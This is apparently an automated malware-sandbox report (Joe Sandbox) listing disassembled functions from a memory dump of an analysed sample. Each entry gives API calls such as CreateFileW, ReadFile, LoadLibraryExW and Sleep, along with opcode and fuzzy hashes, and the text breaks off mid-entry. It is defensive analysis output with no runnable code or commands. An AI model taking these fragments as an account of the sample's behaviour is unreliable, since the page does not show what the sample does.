Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: InfoParametersSystem$CurrentDirectoryPointer$ActiveDebuggerDecodeEncodeFullNamePathPresentTheme__lock
String ID:
API String ID: 1438897964-0
Opcode ID: 5fda6b69275395afe522606980c5584aa5b80d89155a709c2c101b6d7db589d1
Instruction ID: 670f54307e97d0887f8466b48141810ffdde0c250e7ec9c3e19753cd2ae349ca
Opcode Fuzzy Hash: 5fda6b69275395afe522606980c5584aa5b80d89155a709c2c101b6d7db589d1
Instruction Fuzzy Hash: 9811AC718183059BC312EF69EC49A9AFBECEF8A350F00491EF144872B1DBB09654CF92

Function 002F42F9 Relevance: 3.1, APIs: 2, Instructions: 57fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000,00000000,?,?,002F3E72,?,?,?,00000000), ref: 002F4327
CreateFileW.KERNEL32(?,C0000000,00000007,00000000,00000004,00000080,00000000,00000000,?,?,002F3E72,?,?,?,00000000), ref: 00330717

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 9a09e5354f0a29aefc799dd9278a5d588d928b7e7e0b1d02a2a1a407e434bebc
Instruction ID: 4695197e26b353d093c89e9fcbdb77dd4017e242267aad1ffbad8c4d5c616d3c
Opcode Fuzzy Hash: 9a09e5354f0a29aefc799dd9278a5d588d928b7e7e0b1d02a2a1a407e434bebc
Instruction Fuzzy Hash: 3801847015420DBEF3251E248C86F777A9CEB017A8F60C355BBD46A1D0C6F45C558B14

Function 0030581D Relevance: 3.0, APIs: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0030584C
__lock_file.LIBCMT ref: 0030586D

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: __lock_file_memset
String ID:
API String ID: 26237723-0
Opcode ID: 95ef08ae97022e787b7b9fbe0056890e3dfdcc62ec16be9fb0e581c8ee157153
Instruction ID: c4788e01d8194ae5457e35480229c41735d8404fa5984863affc341f62aedd4a
Opcode Fuzzy Hash: 95ef08ae97022e787b7b9fbe0056890e3dfdcc62ec16be9fb0e581c8ee157153
Instruction Fuzzy Hash: D5017171903609EBCF13AF698C1199F7B61AF90360F198115B8245E1E1D7318A61DF91

Function 003055C6 Relevance: 3.0, APIs: 2, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00308D58: __getptd_noexit.LIBCMT ref: 00308D58

__lock_file.LIBCMT ref: 0030560B

Part of subcall function 00306E3E: __lock.LIBCMT ref: 00306E61

__fclose_nolock.LIBCMT ref: 00305616

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: __fclose_nolock__getptd_noexit__lock__lock_file
String ID:
API String ID: 2800547568-0
Opcode ID: 862392c9cac9b8f8c2fd7fbf86031f5a2b39c6eeb0a6809adf0f840f3a609e12
Instruction ID: f26663c027cee798dcaceb67c93777d61ecf6bf08d5e7ce772374874191cb5f2
Opcode Fuzzy Hash: 862392c9cac9b8f8c2fd7fbf86031f5a2b39c6eeb0a6809adf0f840f3a609e12
Instruction Fuzzy Hash: 58F09071803B059AD7236B758C2276F77A16F51330F118209A465AF1C1CB7C49019F55

Function 002EE36D Relevance: 3.0, APIs: 2, Instructions: 29sleeptimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 002EE385
Sleep.KERNEL32(00000000), ref: 002EE3BE

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: SleepTimetime
String ID:
API String ID: 346578373-0
Opcode ID: 33464b378da6e7baeec18f623d93799a150cf826a0378718d683bfb68bc7091d
Instruction ID: 9efc3fb2456e9eccaf2b178ecec129feec3c3c162599e2be9a53b908611e9cc4
Opcode Fuzzy Hash: 33464b378da6e7baeec18f623d93799a150cf826a0378718d683bfb68bc7091d
Instruction Fuzzy Hash: 22F05E342A06129FC364AB6AD455B66B7E8AB48360F400029F42EC7351DB60AC50CB91

Function 00305E80 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

__lock_file.LIBCMT ref: 00305EB4
__ftell_nolock.LIBCMT ref: 00305EBF

Part of subcall function 00308D58: __getptd_noexit.LIBCMT ref: 00308D58

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: __ftell_nolock__getptd_noexit__lock_file
String ID:
API String ID: 2999321469-0
Opcode ID: e2d7a4952616dbebf462d015fbb95e265977e4389998fb2ca31b780ab1bbfc70
Instruction ID: 97e960fb92e009f993175590fa1b263f9239105a5b3e7748984a7f4150b533e8
Opcode Fuzzy Hash: e2d7a4952616dbebf462d015fbb95e265977e4389998fb2ca31b780ab1bbfc70
Instruction Fuzzy Hash: 76F0A031913A159ADB13BB74C92379F76A06F51331F214206A060EF1C2CFB88A02DF55

Function 002F5AC3 Relevance: 3.0, APIs: 2, Instructions: 25windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 002F5AEF
Shell_NotifyIconW.SHELL32(00000002,?), ref: 002F5B1F

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: IconNotifyShell__memset
String ID:
API String ID: 928536360-0
Opcode ID: 9f0f765b9fbe2d35a43dae4a22c2cdd8cae0b91fba6e65fc9132934cd1ae55c1
Instruction ID: 499886bc644edbaeae783a077fadeaf5b4981fb5eb43a740d7b5fca423590185
Opcode Fuzzy Hash: 9f0f765b9fbe2d35a43dae4a22c2cdd8cae0b91fba6e65fc9132934cd1ae55c1
Instruction Fuzzy Hash: 87F0A7719183189FD7A38F24DC857A577BC970130CF0001E9AB4896296D7710BC8CF51

Function 0035C355 Relevance: 1.8, APIs: 1, Instructions: 288COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: LoadString$__swprintf
String ID:
API String ID: 207118244-0
Opcode ID: 4adf1231e38d68844d579023d41011a0f24a2bd60e6b22d60394b0194d0ae809
Instruction ID: 9d648f46e0ef6cbda19b3238e1d5bf1a0dd95a8d8dac6dd83e5705a86d0c69f6
Opcode Fuzzy Hash: 4adf1231e38d68844d579023d41011a0f24a2bd60e6b22d60394b0194d0ae809
Instruction Fuzzy Hash: 11B16B74A1020ADFCB15EF94C891DFEB7B5FF48714F10901AE915AB2A1EB30AA55CF90

Function 002EA820 Relevance: 1.7, APIs: 1, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c36f77044348828147aa364c2673c521f5977255d55e477ca21e101818d50377
Instruction ID: b6a60fbf73f17ea6a5ea85beafa26416f842f8333f528c32daf67197f532269c
Opcode Fuzzy Hash: c36f77044348828147aa364c2673c521f5977255d55e477ca21e101818d50377
Instruction Fuzzy Hash: 2C61CA70650686EFCB10DF65C881ABAB7E9EF44300F55806DE8168B292D7B4FDA0CB52

Function 002ED679 Relevance: 1.7, APIs: 1, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d08bd2e8b56338485acf69228026fa04b0a5bec90799b3a23b2ea6d7410fc9a3
Instruction ID: 9e93e792241392d5f6055f2b9ad7aef8c64e196ba430dbfc11e2d1cb28076e5d
Opcode Fuzzy Hash: d08bd2e8b56338485acf69228026fa04b0a5bec90799b3a23b2ea6d7410fc9a3
Instruction Fuzzy Hash: BF51AF35610614ABCB15EF64C991E7EB3A6AF45750F558068F906AF392CB30EE11CB40

Function 002F343F Relevance: 1.6, APIs: 1, Instructions: 103COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 002F351A

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: c9f64c45f400e17b5458663199bf4a27315daf1ddd9ff02163ddc624897d631a
Instruction ID: 2e5fc17a67a66048db97a04a2b45df4348c524c537bb13953ec303b37aebef91
Opcode Fuzzy Hash: c9f64c45f400e17b5458663199bf4a27315daf1ddd9ff02163ddc624897d631a
Instruction Fuzzy Hash: 4031C079614607DFC725DF18D490A32F7A0FF48390B54C579EA8A8B791D770E8A1CB90

Function 002F410A Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(00000000,?,00000001,00000000,00000000,00000000,00000000,00000000), ref: 002F41B2

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: a77d3d3dec4bbdbbed4793799939c30017b99a53a81abd0b084f21ad28964862
Instruction ID: 14ebf20bbd710a0c5e9d1eac6aa119100f01d72680ae9243efe546cb4d3408a5
Opcode Fuzzy Hash: a77d3d3dec4bbdbbed4793799939c30017b99a53a81abd0b084f21ad28964862
Instruction Fuzzy Hash: 78315C71A1061AAFCB18EF2CC8906AEF7B5FF54350F148629E91993714D7B0A9A08B90

Function 0031E2DF Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 0031E2EA

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: a38bbff051e8c8e261020032963080e0c5a38b1e7134a3146fdfe5737b369c2b
Instruction ID: 39a496fe02aeaf72edae79a43677f45ee9c62dd89578151bd9ee54cc14b98974
Opcode Fuzzy Hash: a38bbff051e8c8e261020032963080e0c5a38b1e7134a3146fdfe5737b369c2b
Instruction Fuzzy Hash: A0415B74514351CFDB25CF15C498B1ABBE1BF54348F4988ACE8898B362C372EC95CB52

Function 002F49C2 Relevance: 1.6, APIs: 1, Instructions: 64libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 002F4B29: FreeLibrary.KERNEL32(00000000,?), ref: 002F4B63

Part of subcall function 0030547B: __wfsopen.LIBCMT ref: 00305486

LoadLibraryExW.KERNELBASE(?,00000000,00000002,?,?,002F27AF,?,00000001), ref: 002F49F4

Part of subcall function 002F4ADE: FreeLibrary.KERNEL32(00000000), ref: 002F4B18

Part of subcall function 002F48B0: _memmove.LIBCMT ref: 002F48FA

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Library$Free$Load__wfsopen_memmove
String ID:
API String ID: 1396898556-0
Opcode ID: 89b33def31fb6f171e9efe899688542a308f388b6053fb42087b970808148ccd
Instruction ID: d32e218e4986f3697691656e2f8dbdc95acb016c7753cd1f9d8cb3fa4c925e48
Opcode Fuzzy Hash: 89b33def31fb6f171e9efe899688542a308f388b6053fb42087b970808148ccd
Instruction Fuzzy Hash: B611CB3166020DA7CB15FB70CC26FBFB6A59F40741F104439FA45AA191EEF45A205B54

Function 002F1BCC Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 002F1BFE

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: ed768318928ad9db74eb72ab79bc14ac0b3ac671dc733207cff94445e1afad0c
Instruction ID: babf245a4ee645801dbfe6ba8490e5ca5156bf9b0e743f045e71175fb03cc107
Opcode Fuzzy Hash: ed768318928ad9db74eb72ab79bc14ac0b3ac671dc733207cff94445e1afad0c
Instruction Fuzzy Hash: 5C114C76614605DFC724CF28D581A26F7E9FF49354B60883EE58ACB261E732E851CF50

Function 0031E3C2 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 0031E3CE

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 6f576683c0b45b9d2a047a7bc46da506fe5b283832e051f3dc6e62ce31d54043
Instruction ID: e30958aa97b3cd4c78a96410056ba9c9ca5c3e0c503069b7fa7774b1076f9fab
Opcode Fuzzy Hash: 6f576683c0b45b9d2a047a7bc46da506fe5b283832e051f3dc6e62ce31d54043
Instruction Fuzzy Hash: 4A2144B4558382CFDB25CF15C458B1ABBE4BF88344F05896CF98A5B362C731E855CB92

Function 002E6D79 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 0031F3E2

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Window
String ID:
API String ID: 2353593579-0
Opcode ID: 589e73317f0b5f9a86e0dd0883969a0cd1707404ad53c9f72c0574fbf8b7e656
Instruction ID: 66b53cfdae5dc58a3cfc34fdb451f70040e72567477450775ba7281dad4835ff
Opcode Fuzzy Hash: 589e73317f0b5f9a86e0dd0883969a0cd1707404ad53c9f72c0574fbf8b7e656
Instruction Fuzzy Hash: BC1170313505467EDB0AAA32CC94AF9F75CFF45394F800526F82992151DB20AD65CBA0

Function 002F4220 Relevance: 1.6, APIs: 1, Instructions: 53fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,?,00010000,00000000,00000000,00000000,00000000,00010000,?,002F3CF8,00000000,00010000,00000000,00000000,00000000,00000000), ref: 002F4276

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 3c15fff3ba7ef788bae9dc6122c754b6d37e24d9cc803119a781a5c8e8a7049e
Instruction ID: eadc7a6758785b590c6c369c1f662960b34b1c6670027e969975644f84a8cee0
Opcode Fuzzy Hash: 3c15fff3ba7ef788bae9dc6122c754b6d37e24d9cc803119a781a5c8e8a7049e
Instruction Fuzzy Hash: FA1128312107059FE320DF55C480B63F7E9FB88790F10893EEAAA86A50D7B0E9558B60

Function 002F1A36 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 002F1A77

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 602e865249ec947d912e947e17fccc617bf4509f125e4f05857fa8c8b0e3221e
Instruction ID: bd29803ebe54747779cc0c82a3c271045ad2299f50202e1f654fb387ec617921
Opcode Fuzzy Hash: 602e865249ec947d912e947e17fccc617bf4509f125e4f05857fa8c8b0e3221e
Instruction Fuzzy Hash: 5D012672211706AEC3255F38C802B77FB98DB447E0F50853AF61ACE1D1EA71E460C790

Function 0035495B Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetEnvironmentVariableW.KERNEL32(?,?,00007FFF,00000000), ref: 00354998

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: EnvironmentVariable
String ID:
API String ID: 1431749950-0
Opcode ID: fac283efd47d219381641369d87530854d0358a2fc804095d01c1a20160ff522
Instruction ID: c4ec97513349fd9bd088c5c466aad87438867b2ca0c55965267436880103cff3
Opcode Fuzzy Hash: fac283efd47d219381641369d87530854d0358a2fc804095d01c1a20160ff522
Instruction Fuzzy Hash: E2F03175618249AFDB15FB65D85ACAF77BCEF45320B004055F9089B2A1DE70BD81CB50

Function 00347C7F Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

Part of subcall function 00300FE6: std::exception::exception.LIBCMT ref: 0030101C
Part of subcall function 00300FE6: __CxxThrowException@8.LIBCMT ref: 00301031

_memset.LIBCMT ref: 00347CB4

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
